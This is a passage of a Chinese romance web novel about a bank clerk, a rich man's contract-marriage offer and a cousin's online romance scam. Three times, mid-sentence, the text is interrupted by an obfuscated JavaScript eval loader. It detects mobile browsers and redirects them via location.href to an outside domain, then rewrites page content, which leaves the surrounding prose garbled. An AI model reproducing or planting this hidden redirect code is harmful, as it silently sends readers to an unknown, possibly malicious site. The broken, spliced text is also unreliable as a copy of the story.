陈盎眉头一皱,不行,叶崟肯定不知道她这个小透明,而且这话听起来也太像套近乎的了。虽然就是。 ——叶总您好,吃饭了吗? 陈盎赶紧删掉,太土了,真是太土了! ——叶崟学长,最近忙不忙,请问您明天有空出来玩吗? 陈盎一脑袋扎进枕头里,她算哪根葱啊胆敢约别人出来玩。 写写删删,陈盎最终还是放弃了搭讪的念头。 高中时期的白月光,就让他在那儿光着吧,离得近了,完美无瑕的月亮也会露出表面的坑坑洼洼。 陈盎这样安慰好自己,将手机塞到枕头底下,闭眼睡觉。 第二天一早,天晴。 陈盎吃着早饭。 陈母走过来说道:“小盎,你今天休息,等会儿正好和我一起去把店里二楼收拾收拾,你赛赛姐准备租去当工作室。” 陈盎问道:“哪个赛赛姐?” “就是你大姨家的,小时候见过几次,这么快忘了?”陈母戳了戳她脑袋,“人家才比你大四岁,孩子都五岁了。” 陈盎记起来了,陈母口中的大姨,其实是表姨,两家走得并不近,所以她才没什么印象。 对于这个赛赛姐的唯一深刻印象,就是亲戚们口中的反面教材。 陈盎咬着嵌糕,含糊问道:“她不是嫁到外地去了,怎么回临城开工作室,什么工作室?” 说起这个,陈母唉声叹气:“赛玉这孩子,真是太不听话了。小时候不好好学习,中考才考那么点分,我和你大姨都劝她报个护士学校,将来去医院上班,也算是有一份稳定工作,可她偏不听啊,非得去念什么戏剧学校,毕业后跟着剧团到处演出,被个外地的野男人勾走了吧。这也就算了,现在男的不要她了。” 陈盎皱了皱眉:“你别这样说。什么叫做男的不要她了,他们这叫离婚。” 陈母道:“你大姨可不同意她嫁外地,当初户口本没给,我听说啊,他们就在外地办了酒,没领证呢。” 吃完早饭,陈盎跟着陈母一起前往店铺。 这个临街而建的店铺也是她太爷爷留下来的,离小院很近。自从老街的旅游业搞得越来越好,店铺租金也水涨船高。 总共两层,一层租给一家卖当地特产的食品店,二层商业价值不大,一直空着。 不过陈母平时经常来打扫,灰尘不多,拖一拖地就干净了。 陈盎刚搬完最后一箱杂物,陈母接了个电话,说赛玉到老街口了,要去接人。 陈盎便独自一人抱着杂物,下楼去扔垃圾箱里。走回来的时候,发现斜对面新开了一家两间门面的古装店。 商业化的老街就是这样,除了几家屹立不倒的网红店,其余商铺更新很快,这个月还是个小吃店,下个月就是纪念品店了。 比如这个古装店,之前是卖炸鸡和臭头腐的。 陈盎看见门口摆放的花篮,心道原来今天开业,店里装修得古香古色,摆满了各种款式的汉服,还有一排化妆镜。 这几年全国各地的老街旅游区都流行搞这些沉浸式体验。 陈盎没多大兴致,看了几眼正要离开,这时,从古装店里走出一个人。 陈盎下意识往墙角躲了躲。 陆屿安左手拿着手机,在打电话,长腿刚一迈出店门,一个栗色长卷发、穿着时尚洋装的年轻姑娘就紧跟了出来,也不顾对方在讲电话,拉着他的胳膊左右摇晃,涂着鲜亮唇膏的唇畔一张一合,不停说着什么。 具体内容没听清楚,但陈盎听懂了——她在和陆屿安撒娇。 像是得逞了什么,洋气漂亮的姑娘在陆屿安大步走后,郑重地后退一步,朝着他的背影深深鞠躬,笑意盈盈:“多谢陆总捧场,陆总慢走,陆总欢迎下次再来~” 她看见了陈盎,热情地挥手打招呼:“哎小姑娘,进来看看不,我们店今天开张搞活动。” 陈盎摇头:“不了,还有事。” “进来看看吧,耽误不了多久的,我们店里的衣服都超棒!”她迅速走过来,手臂环上陈盎的肩膀,顺着陈盎的视线,看到了陆屿安大步离开的背影,“怎么,你认识陆总?” 陈盎嗯一声,随即又摇头:“不熟。” 年轻姑娘哈哈大笑:“不熟很正常,我和他也不熟。别看我们刚才亲亲热热的,其实我都是为了图他钱,而他,图我色。” 陈盎:“?” 年轻姑娘抓住了她眼里一闪而过八卦的光,趁机作了一番自我介绍,然后非常热情地拉着陈盎进了古装店,给她各种介绍店里的活动,十分卖力宣传。 最终陈盎加了微信,帮她在朋友圈宣传了一波。 宋蕴之拿她手机编辑好朋友圈发布,开心地环住她:“小盎啊,咱以后就是朋友了,我免费送你一组古装拍摄,等你有空了来店里挑衣服。” 陈盎离开前,想了想,还是忍不住问:“所以,你和那个陆先生是情侣?” 宋蕴之摆摆手:“情侣算不上,他是我要努力伺候的金主爸爸,纯粹的金主和金丝雀关系哈。” 陈盎了解了,然后转头和齐馨八卦。 齐馨听完后道:“所以,他都有钱养金丝雀,都不给你五百万是吗?” 陈盎:“……是我自己不想要。” “为啥?” “我觉得自己没那么爱钱,所以拒绝了。” 齐馨“啪”的一声挂断了电话。 听着“嘟嘟嘟”的声音,陈盎无奈耸了耸肩。 “没那么爱钱”——这句话是真心实意的。她在银行上了两天班,每天见的最多的就是钱。 真的,她现在看到钱就烦。 * 晚上,陈母留赛玉在家吃饭。 时隔多年,陈盎再一次见到亲戚口中不务正业的表姐。 赛玉和小时候记忆里的完全不一样,和想象中离婚后凄凄惨惨、面色蜡黄的女人也完全不一样。 赛玉一头乌黑长发及腰,身材纤瘦玲珑,脸上妆容精致,整个人神采奕奕。 陈母边给她夹菜边问道:“赛赛,爆米花怎么没和你一起过来?” 赛玉道:“哎呀阿姨,和你说了多少遍,小米花,我闺女叫小米花,不叫爆米花。她让我妈带着呢。” 陈母道:“你们年轻人,整天给孩子起稀奇古怪的小名,我哪儿记得住啊。” 陈盎和她交谈:“赛赛姐,听说你抖音粉丝好几十万呢,这次回临城开工作室,也是和直播相关吧?” 赛玉说起自己的事业一脸自信:“对,我之前跟着剧团演出时就在做自己的账号了,拍拍演出的日常、搞搞直播,收入比打工好多了。我都想好了,这次开工作室,可以一边开越剧兴趣班招收学员,一边拍日常和搞直播,这样能有两份收入。” 陈母道:“赛赛啊,这样不行,你得找份稳定工作,然后找个本地人嫁了,让爆米花有一个完整的家。你妈为了你的事,天天睡不着觉。” 赛玉不屑道:“阿姨,你这话我不爱听,我现在一个人挺好的,房子、钱、自由都有,干嘛非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925098|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要再嫁人。还有,我闺女叫小米花。” “……” 饭后,陈盎怕陈母再一次唠叨别人,于是主动提出送赛玉到停车场。 为了保护老街,车子、电瓶车、自行车一律不许行驶,停车场设在城墙外,需要走一段距离。 陈盎抱歉道:“赛赛姐,不好意思啊,我爸妈他们年纪大了,思想跟不上时代,我也经常被唠叨。” 赛玉不在乎地摆了摆手:“他俩都算正常的了,对我毫无影响。你是不知道我前夫那个妈啊,有多恶毒。不过也多亏了她,我现在抗压能力特别强。” 陈盎有所耳闻,问:“所以是因为婆媳关系才离婚?” “倒也不全是。主要还是我前夫那个人不靠谱,拎不清、没主见、妈宝男。”赛玉摇了摇头,“你一定很好奇我当初为什么嫁给他吧?亲戚里是不是都在传奉子成婚?” 陈盎回忆了下:“好像有这么说过。” 赛玉幽幽叹了口气,道:“去他妈的奉子成婚,我当时就是鬼迷心窍,和他感情破裂后,我也郁闷了好久,这个地包天、不洗澡、长得像头猪的男人到底有什么地方吸引我?还好我闺女长得不像他。小盎啊,听姐姐一句劝,可别随便结婚,要结也要找个自己满意喜欢的结。我当初结婚或许是为了争一口气,证明给别人看,你们看,我没你们说的那么糟糕,就算我样样不好,还是不是有有房有车的男人追我、爱我的。” 送走了赛玉,陈盎一个人慢吞吞往回走。 七点钟,时间还早,城墙下很热闹。微黄的灯光熏得青色砖瓦暖融融。 有意犹未尽的他乡游客,有饭后出来散步的本地人,大家齐聚一起,欢呼着、围绕着表演节目的歌手和舞者。 再往里走,人没那么多了。 陈盎脑袋撞上一个人的胸膛时,才回过神来。 “不好意思不好意思……”陈盎急忙道歉,视线映入陆屿安的脸,声音戛然而止。 陆屿安表情淡淡的,没有生气,没有惊讶,像是早就料到一样。“看你魂不守舍的,连走路也不看人?” “我……”陈盎想解释,话到嘴边却道,“关你什么事。”一边揉着额头,心道,这么晚了怎么还没走,是来找他的金丝雀吗。 “什么金丝雀?” 陈盎原本只想在心里吐槽吐槽,没想到说出来了,陆屿安离得近,听得很清楚,直视她的眼神充满严肃之意。 陈盎扯了扯嘴角,道:“陆先生,我对你的私生活没有兴趣。也不是我打听的……反正,我就知道了又怎么样。” 陆屿安眯起眼睛,像是明白了什么,很快掏出手机,打了个电话:“大宋酒馆这里,三分钟内滚过来,否则撤资。” 一分钟后,陈盎看见宋蕴之拎着高跟鞋火急火燎地“滚”过来了。 两人对视一眼,面面相觑。 还是宋蕴之先反应过来,迅速套上高跟鞋,笑得和朵花儿似地凑到陆屿安面前,声音甜腻:“哥哥,我的好哥哥,我亲爱的哥哥,有什么事不能好好说呢,非要拿撤资来威胁人家……” 陆屿安手掌毫不留情地按在她漂亮的脸上,将她脸拨过去另一个方向:“不要用这种恶心的语气和我说话。” 宋蕴之搞了半天才明白,道:“不是吧,陆屿安,你这人怎么这么小心眼,我不过是为了招揽顾客,编了一个小小的、充满狗血的、大家都爱听的故事而已,你就要撤资?你还是我有血缘关系的哥哥吗,我要告诉姨妈!” 宋蕴之怒气冲冲地打电话去告状了。 酒馆前,陈盎有点不好意思,自己好像是什么背后说人坏话的小人一样,于是想赶紧溜,却被陆屿安叫住。 “陈盎,五百万,协议结婚两年。” 5. 第五章 第五章 陈盎先是以为自己听错了。 触碰到对方认真的眼神时,陈盎觉得,这人脑子指不定有什么毛病。 陈盎指指自己,又指指他:“谁结婚,你和我?” 陆屿安点头。 陈盎沉默半响,问:“陆先生,你认真的?” 陆屿安点头。 陈盎指回自己:“那你为什么觉得我会答应这种……听上去就非常离谱的事情。哎不是,我和你熟吗?” 陆屿安皱了皱眉,似乎沉思半响,反问:“不熟吗?” 陈盎:“……” 陆屿安的提议太过离谱,比他这个人还离谱,直到入睡前,陈盎还在怀疑是不是自己幻听,连和齐馨吐槽都不敢。 怕她骂自己一定是拒绝了五百万心疼疯了。 第二天一早,陈盎顶着两个大大的黑眼圈起床上班。 今天周一,例行短会。 整理仪容仪表、宣读财经新闻、回顾上周业绩、布置新的任务,陈盎听得昏昏欲睡,直到被行长点名。 “总行近期拍宣传视频,要求每个支行推荐男女各一名,我看咱们行数小陈和小曾长得最干净标致,所以推荐了他们,大家没意见吧?” 大家纷纷鼓掌,幸灾乐祸地看向两人。 行长道:“小陈、小曾,下班后去总行会议室集合,你俩可是代表咱们行最青春活力的形象啊,好好表现!” 陈盎和小曾对视了眼,两人一脸苦逼地扯扯嘴角。 明明他俩是最年轻最好欺负的牛马吧! 下午五点,卷帘门的营业时间结束。 陈·先天牛马圣体·盎开着车赶往总行。 到达时,她算来得最早的一波。 陈盎看过被新拉进去的群消息,这次拍宣传视频需要跳集体舞,今晚请了排舞的老师,先教他们一遍基础动作,回去还要勤加练习,元旦过后才正式拍摄。 人没来齐,陈盎决定先去吃个饭。 谁知一出门,迎面撞上一个让她心跳加速的人。 “叶……”陈盎及时打住,规规矩矩道,“叶总。” 叶崟点了点头,温声道:“今晚辛苦大家了,我请你们喝奶茶,别忘了拿。” 陈盎说了句感激的话,脸上温度不停上升,着急忙慌地想要赶紧走,叶崟却又问:“你以前是不是临城一中的?” 陈盎回答是。 叶崟道:“如果我没记错的话,你叫陈盎吧。” 陈盎点头:“嗯,今年刚考进来的。” 叶崟笑着摇头:“不是,我以前应该就认识你,你看起来很眼熟的样子,我记得你的名字,也是因为在临城一中的时候就见过。” 陈盎:“!” 叶崟道:“我大二时,曾回校做高三同学的学校报考指导,当时你提问过。” 是的,一面之缘。 陈盎简直被他的记忆力折服。 对他而言,就是不经意间关注过一次她。但对于陈盎这些普通学生来说,去食堂的路上、上厕所路过教室、去小超市买零食的时候,只要碰到叶崟,都会忍不住偷偷瞅他。 也不是因为多喜欢,主要是长得帅。 叶崟回忆道:“你当时提的那个问题,有点难回答。” 陈盎讪笑道:“还好学长你当时回答出来了。” 叶崟笑道:“是啊,否则我要下不来台了。” 这时,一个人事部的同事过来,附在他耳边说了几句话,叶崟点头,对陈盎道:“我还有事,先走了。以后多联系。” 陈盎忙道好的。 虽然叶崟说的话多半是客套,但临城一中大名鼎鼎、收获无数少男少女芳心的叶崟居然还记得她,这怎么能让人不开心呢。 陈盎的心情简直比奶茶还甜,舞蹈排练结束后,第一次鼓起勇气戳进叶崟的头像。 “学长,刚进单位很多地方不懂,以后可以请教你吗?”陈盎编辑好这句话,反反复复看了好多遍,心道,应该没暴露什么吧,就是很正常的职场菜鸟巴结领导吧? 点击发送后,叶崟很快回复,只有短短四个字:“当然可以。” 很好,总算是迈出第一步了。 陈盎抱着手机,苦思冥想该怎么极其自然地套近乎,这时,肩膀从背后被人拍了拍,吓得手机差点掉了。 “陈盎,抱着手机傻笑什么呢?”原来是小曾。 陈盎赶紧将手机藏入兜里,道:“没什么没什么,看点段子而已,排练结束了,我们赶紧走吧。” 两人一起乘电梯下楼。 小曾问道:“对了,我刚才好像看到你和叶总说话,很熟的样子,你不会是他的关系户吧?” 陈盎直摇头:“我可攀不上他的关系。” 小曾道:“也是,别看这个小叶总还请我们喝奶茶,其实人挺高冷的,不过人家里有钱,长得又好看,还是海归高材生,一拨一拨的女的前仆后继啊,没一个成功的,那芳心是碎了一个又一个。” 陈盎道:“有这么夸张吗?” 小曾道:“你来的迟,行里很多八卦还都不知道呢。我只是好心提醒你一句哈。” 陈盎后知后觉:“原来你觉得,我也是前仆后继的女的呀。” 小曾耸耸肩:“没办法,人家魅力大啊,我怕你年纪小扛不住。” * “小盎姐。” 回到家,推开门,客厅的沙发坐着一个瘦弱白皙的年轻人,见陈盎回来,立刻站起来伸手接她的包。 “小盎回来了啊,看看谁来了。”陈父陈母端着切好的水果从厨房出来。 “陈小滨,你怎么来了?”陈盎随手拿了块水果吃,看见客厅还放着陈小滨的行李箱,“你不是在市一院旁边租房住的吗?” 陈小滨挠挠头道:“租房合同这个月到期,我爸妈给我在老城区买了一套二手房,但很多东西没置办好,阿姑让我来你家住一段时间。” “哦哦。” “什么叫你家,你来了这也是你家。”陈母很疼这个侄子,眼神充满慈爱,“小滨,你工作也稳定了,是时候谈个对象了,隔壁的林婶有个侄女,在二中教书,正式在编,我给你看看照片,要是满意的话……” 陈小滨却羞涩道:“阿姑,我有女朋友了。” 陈母惊讶:“有女朋友了?什么时候有的,我怎么不知道,你爸妈没和我提起过啊。” 陈小滨一脸幸福道:“我和她认识不久,等时机成熟了,我再带她来看你们。” 既然他有对象了,陈母也不强求他相亲,转而恨铁不成钢地瞪了陈盎一眼。 吃水果的陈盎:“……” 陈小滨的房间在隔壁,陈母已经收拾好了,陈盎帮他一起整理行李,顺口问:“陈小滨,你女朋友谁给你介绍的啊?” 陈小滨小时候是个有点蠢的小豆丁,后来长成了一个一米八高、一和女孩子说话就脸红的小白脸。 陈盎一直觉得,他绝不会是主动追求的性格。 果然,陈小滨说:“秋秋是我在网上认识的,还没见过面呢。” “网恋?”陈盎道,“网恋……靠谱吗?” 陈小滨郑重点头:“网恋靠不靠谱我不知道,但秋秋很靠谱,她人很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆屿安语气直白,毫不隐瞒:“我奶奶很喜欢你,她病了,活着的时间不多了,最想看见的就是我结婚。” 陈盎道:“就因为你奶奶?” “还因为你。” 屋檐下挂着的红灯笼闪烁着靡丽的光,陈盎有一瞬间的错觉,陆屿安盯着她的眼神仿佛充满了深情。 陈盎愣了愣,问:“因为我什么?” “家世清白、学历过得去,说明你人品和智商应该没太大问题,长相也还凑合。” 陈盎:“……”你才凑合,你全家都凑合。 陆屿安:“至少,你不让我讨厌。” 陈盎一句话都不想再和他多说了。 将传单甩在他胸口,扭头要走,忽然意识到一个问题,狐疑地回头盯他:“你怎么知道我的家庭和学历,暗地里调查我了?” 陆屿安斯条慢理地摘下胸前的传单,微微扯了下嘴角:“算不上调查,只是打了个电话而已。毕竟我在你们银行的资金很可观,了解一下职工的基本信息还是没问题的。” 想到自己入职时提交的那些资料,陈盎心塞。 破银行!万恶的资本家果然都是一伙的! 陈盎气得捏紧拳头,扭头要走。 陆屿安叫住她:“陈盎,你还没给我答案。” 陈盎顿足,转身,笑眯眯道:“一个亿。” “什么?” “五百万太少了,陆先生,一个亿我考虑下。” 陆屿安头也不回地转身走了。 6. 第六章 第六章 这几天,陈盎过得非常“充实”。 上班、挨客户骂、下班、跳舞、第二天上班、挨客户骂……不仅充实,还有规律。 不过再也没见到叶崟。 期间,她在微信上坚持不懈地“骚扰”了几次叶崟,他刚开始回消息挺积极,可渐渐的速度很慢,有时候甚至要两个小时。 陈盎不知道他是真的没看到,还是故意冷淡。 或者说,自己打扰到他了? 陈盎难以压抑心中的郁闷,找齐馨吐了一番苦水。齐馨恨铁不成钢道:“陈小盎,你争点气,请清醒地、勇敢地、不要脸皮地按照我说的方法去追男人!” 陈盎道:“可你的方法很女流|氓,而且,谁说我要追他了。” 齐馨满头问号:“那请问你这几天在干嘛呢?” “我……”陈盎噎住,想了想,“我纯粹是为色所迷啊,他是我高中时的白月光,就想和白月光多说几句话而已,没有想追他,没有!” 齐馨切了一声:“行,那我不管你了。反正按照你的速度,这辈子都追不到叶崟。” 陈盎不服气道:“齐小馨,你不是也没恋爱过吗,说得好像自己很厉害一样。对了,你相亲怎么样了?” “都吹了。” “都?!”陈盎震惊,“你不是聊着八个吗,就没一个合适的?” 齐馨尴尬地咳了咳,道:“我前天不小心给他们拉了一个群,他们先是一头雾水,后来在群里吵起来了,最后全部人把我拉黑了。就这样。” “你翻车了姐妹。”陈盎表示同情,“他们可能还会去网上避雷你,兄弟们我今天遇到一个奇葩相亲女……” “不说了说了,我还要加班改试卷去!” 挂了电话,陈盎很无聊,在床上翻来覆去一会儿,还是决定最后一次“骚扰”下叶崟。于是编辑消息——叶学长,明天就是元旦了,老街这边有跨年活动,你要来吗? 叶崟这次回复得挺快:“不了,我要陪父母出国。” 好吧,赤|裸裸的拒绝。 虽然意料之中,但陈盎还是有点失望地垂下头。 真好啊,短短三天还能出国玩,不像她,三天都要在柜台里数钞票。 元旦,又称阳历过年。 虽然不是传统的春节,但最近几年各种跨年活动十分火热。作为全国出名的旅游老街,自然不甘落后,早早地就将广场、活动地点布置起来了。 陈小滨要值班,赛玉要带娃,陈盎便只约了齐馨。 两人路过古装店时,被宋蕴之叫住。 “哈啰,你们是要去参加跨年活动吗?带上我啊!站了一天都累死了,正好去放风。”宋蕴之迫不及待地踏出店门,又突然想起什么,扭头交代几句店员,乐呵呵地走过来挽住陈盎胳膊。 齐馨问:“这谁?” 陈盎给两人互相介绍了下。 宋蕴之很自来熟,三分钟的路程,加上了齐馨微信,又给自己的店铺来了一波朋友圈免费宣传。 宋蕴之很满意很开心,左顾右盼道:“小盎啊,就咱们几个多没意思,等着,我叫上我表哥。” 也不等陈盎说话,立刻拿出手机打电话。 “就老街城墙口的位置。没谁,都认识的人,我、陈盎,还有陈盎一个女朋友。对了,最好叫司机送你过来,外面估计没地方停车。” 挂了电话,宋蕴之揽住陈盎的肩膀,满脸奸笑道:“过年了,应该要收红包了,等我表哥过来,可以狠狠宰他一笔。见者有份、见者都有份哈!” 陈盎和齐馨对视一眼。 很好,被安排得明明白白。 古朴的城墙边,搭建着一个大大的舞台,闪烁着五彩斑斓的现代灯光。台下人群挤挤挨挨,巨大的音响声、嘈杂的人声、小孩子的尖叫声,在寒冷热闹的黑夜里混杂成一团。 陈盎捂住耳朵,大声说道:“有点吵诶,我们要不要去城墙里面,刚看到那边有许愿树。” 齐馨也捂着耳朵:“啊?你说什么啊?” 宋蕴之忙着打电话:“喂,你到了吗?到了啊,在哪儿,我来接你。” 宋蕴之往人群外面挤。 陈盎看到了,想跟着一起过去,免得到时候走散了。正要叫上齐馨,回头一看,她不知道被人流冲到哪儿了。 身边一个小男孩拿着串糖葫芦,伸着双手喊着要爸爸抱,陈盎往旁边让了让,余出空间给他们。 却不想,被一个人踩住鞋子,差点摔倒。 幸好人多,她跌到了旁边人的怀里,没有狼狈地摔地。一双手隔着厚厚的羽绒服,有力又稳重地扶住了她。 陈盎松了一口气,正要转头道谢,视线却引入一张熟悉的脸。 陆屿安? 陈盎愣了愣。 陆屿安嘴巴一张一合,也不知道嘟囔了些什么,陈盎皱皱眉,大声道:“你说什么,我听不见!” 陆屿安似是无奈地叹了口气,忽然伸手拉住她挂在脖子上的手套,将她拉往一个走出人群的方向。 一直走到城墙里,厚厚的青砖隔离了音乐声和人声,周遭环境瞬间安静许多。 陈盎先说道:“宋蕴之刚才出去找你了,没遇见吗?” 陆屿安摇头:“不管她。” 陈盎指指外面:“喊你来跨年,不去看节目吗?” 陆屿安道:“那边人太多,我怕你走丢了。” 陈盎觉得好笑:“我都这么大人了,还土生土长的,怎么可能走丢了。” 陆屿安道:“摔着了也不好,大过年的还要背你去医院。” 陈盎:“……”你可闭嘴吧。 两人相顾无言了一会儿,陈盎转开视线,摸摸脸上的热气,指着不远处挂满红绸的许愿树道:“那边好像很不错,我们去看看?” “嗯。” 许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925100|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿树就在寺庙门口的不远处,所以很多人相信很灵,虽然这颗茂盛的、长满金黄叶子的许愿树是人工制造的。 不过过年就要图一个仪式感嘛。 陈盎取来红绸,写了一个愿望系在树枝上,双手合十虔诚默念,才回头问陆屿安:“陆先生,你要不要来一个。” 陆屿安想了想,道:“你帮我写。” “OKOK。”陈盎爽快答应,顺口开玩笑道,“那你可要给我酬劳啊。” 陈盎刚帮陆屿安系好许愿红绸,兜里的手机“叮叮叮”地响了起来。拿出来一看,原来是宋蕴之给他们拉了个群,齐馨、陆屿安都在。 宋蕴之正在疯狂地发消息。 “我亲爱的哥哥,世界上最好最高最帅气的哥哥,过年了,可不可以发个小小的红包~” “妹妹我找你找得腿都断了,虽然找不着人,红包总还要有的吧?” “这一年没有功劳,也有苦劳啊,群里的兄弟姐妹你们说是不是?来,让我们一起恭贺陆总新年快乐!红包拿来!” “……” 各种要红包的表情包刷屏。 陆屿安也正在低头看手机,手指飞快在屏幕上点了点。 陈盎低头一看,他果然发红包了,然后退群了。 陈盎看他一眼,迅速点了抢红包。“咣当”一声,钱包到账。看着红包的数额,陈盎嘴角微微一扯。 陆屿安这人虽然没素质,但还挺大方的。 “叮——”屏幕上方弹出一个消息。 陈盎心脏一跳,居然是叶崟主动发的,点进去一看,是“新年快乐”。 群发的吗? 陈盎赶紧回复“新年快乐”。 叶崟又发来消息:“刚下飞机,临城这边应该很热闹吧。” 陈盎答:“是啊,超级热闹!人很多,跨年活动很精彩!你们去哪个国家玩了啊?” 叶崟却没有再回复。 陈盎正要郁闷,下一刻被别的声音吸引了注意。 ——城墙外面,人群发出了跨年倒计时的声音——5、4、3、2、1……新年快乐! 兴奋的尖叫声中,数百只五颜六色的氢气球飘起,涌向了月明星稀的夜空。 与此同时,陈盎的手机又“叮”了一声,她以为是叶崟的消息,赶紧拿出来看。 可却是陆屿安。 他私发了一个红包给她,封面是新年快乐。 陈盎疑惑抬头,道:“陆先生,我也在那个群里,已经领过红包了。” 陆屿安却唇角轻提:“嗯,这是单独给你的红包,报酬。”指了指金灿灿的许愿树。 陈盎顺着他手指的方向望去,只见明亮彩灯一条一条围绕着茂盛枝丫,像烈日一样灿烂洒下,光点落在了陆屿安的眼睛里,很亮、很灼热。 显得他表情有点认真、又有点郑重。 他轻轻道:“陈盎,新年快乐。” 7. 第七章 第七章 陈盎觉得,陈小滨最近有点不太对劲儿。 起先,她半夜起来上厕所,看见陈小滨坐在马桶盖上,面色木然,抱着手机发呆。陈盎问他怎么这么晚还不睡,他却宛若游魂,回答得牛头不对马尾,脚步虚浮地飘出去。 再然后,临近入睡前,隔壁房间时不时传来压抑的抽泣声,听得人毛骨悚然。陈盎敲敲墙壁,问陈小滨怎么了,却久久没有回应。 又比如今天,本该在市一院值夜班的陈小滨正魂不守舍地缩在沙发上,听到开门声,像受惊的猫一样蹿起来。 看到是陈盎后,他又一脸萎靡地坐回去。 “陈小滨,你最近怎么了?工作太累了吗?”陈盎最近状态也不好,被开门红折磨得奄奄一息,以为陈小滨是同样的问题,两人可以抱头痛哭一下。 可陈小滨却摇摇头,咬着嘴唇低头不说话。 陈盎拍了拍他的肩膀:“有什么事就说出来,别闷在心里。” 陈小滨犹豫一会儿,道:“小盎姐,我只和你一人说,别告诉阿姑他们。” “那是自然,我嘴巴很严的!”陈盎拍着胸脯保证。 陈小滨说道:“我好像被骗了。” “被骗了?被谁?” “秋秋。” 陈小滨翻出聊天记录给陈盎看。 秋秋是在贴吧认识的,两人有着相同爱好才加上了微信。 陈盎越看眉头皱得越紧:“秋秋原来是外地人……呃,父母都去世了,和种茶叶的爷爷相依为命……今年茶叶产量很高却滞销,所以让你买茶叶?!这不是典型的诈骗吗?你平时不上网的啊陈小滨。” 陈小滨委屈道:“我说我不爱喝茶,她后来又说她爷爷生病住院了,需要一大笔钱。” “那你给她打钱了?” “没有。”陈小滨摇头,“听说她爷爷生病住院,我很着急,想着一个小姑娘照顾老人家不方便,而且我是学医的,照顾病人更专业,本来都和医院请好了假,想亲自过去照顾他爷爷,可她又说不用,不严重,很快就可以出院,还说想来找我一起跨年。” “然后没有路费,让你打钱?”陈盎说出了套路。 “嗯,我给她打了一千块路费。然后就被拉黑了,我怎么也联系不上她。” 确定他只被骗了一千块,陈盎松了口气,道:“陈小滨,这就是诈骗!我陪你一起去报警吧。” 陈小滨却死也不想去,哭丧着脸道:“小盎姐,你说我怎么这么惨,秋秋为什么要骗我,她要是缺钱,可以问我借啊,为什么要欺骗我的感情?” “她不是冲着欺骗你感情来的,一开始的目的就是让你买茶叶,价格昂贵,质量很差,和骗钱没什么区别。” 陈盎给他普及了一下银行最近的“断卡行动”,讲了很多案例,陈小滨总算是听进去了一点。 终于愿意接受了——自己的初恋,还没开花就枯萎了。 陈小滨很伤心:“我真的好惨,被一个陌生女的欺骗感情,连面都没见过。” 陈盎安慰道:“往好处想,谁说骗你的就一定是女的呢,也有可能是个抠脚壮汉。” 陈小滨:“……” 陈小滨哭得更伤心了。 * 很快到了腊八节。 陈盎解锁了一个新任务——和烧饭阿姨一起在银行门口给客户派发腊八粥。 支了张折叠桌,将腊八粥和一次性碗勺摆放好,打开铁桶的盖子,一股氤氲着米香豆香的热气扑面而来。 寒冷的冬季早晨,冒着热乎乎白气的东西最吸引人了。很快,许多路人被吸引了过来。 小曾在旁边发存款和理财产品的传单,陈盎舀起一碗腊八粥递给客户,他就递过去一张:“来,拿去垫,别烫着了。” 陈盎瞅他一眼:“要是让行长知道你这么发传单,小心这个月的奖金被扣光。” 小曾吐了吐舌头:“才不管,反正我把传单发出去就行了。你就说,传单有没有到客户的手里。” 两人正说着话,行长从二楼下来,走过来说道:“小陈,你发完腊八粥后,我再交给你一个重要的任务。” “什么任务?”陈盎和小曾好奇问。 行长一脸高深莫测地指了指街对面新开的一家银行:“俗话说,知己知彼百战百胜。你等会儿乔装打扮一下,去看看他们存款理财送什么礼品,咱们要抢客户,就不能比他们抠门。” 行长视对面银行为眼中钉很久了,自从他们去年开业,抢走了不少客户。行长本来就不多的头发愁得都快掉完了。 陈盎觉得这个任务果然很重要。 反正比坐柜台好玩。 发完腊八粥后,陈盎立刻去休息室换上了自己的衣服,戴好口罩和帽子,遮得严严实实,装作普通路人不经意间经过对面银行,被他们的海报吸引驻足。 对方果然上当,热情地将她迎了进去。 陈盎在大堂转了一圈,仔细看了看他们的礼品,心道,怪不得人家抢客户厉害呢,这些礼品的精致程度、数量多少都完胜了他们行的。 对比之下,他们行真的好抠! 陈盎在心里默默记住,准备回去汇报行长。 一转身,只见三四个西装革履的银行工作人员从楼上匆匆跑到门口,那里停着一辆非常眼熟的锃亮黑色汽车。 她好奇地张望几眼。 见到车里的人下来后,陈盎赶紧转过身,压低帽檐。 招呼她的大堂经理不知道跑哪里去了,陈盎一个人站在叠得高高的礼品堆前,一会儿摸摸这袋大米,一会儿敲敲那桶食用油,很忙很认真的样子。 直到背后响起一个熟悉声音。 “陈盎。” “哈,哈哈。”陈盎像是才看见他,挥挥手,“陆先生啊,这么巧,您来这里忙什么呀?” 陆屿安上下打量她一会儿,狗嘴里吐不出象牙:“一副鬼鬼祟祟的模样,老远就看见你了。来这里做什么,你好像不是这个银行的。” 三四个银行工作人员等在楼梯口,不敢靠近,但纷纷一脸好奇地往他们这个方向张望。 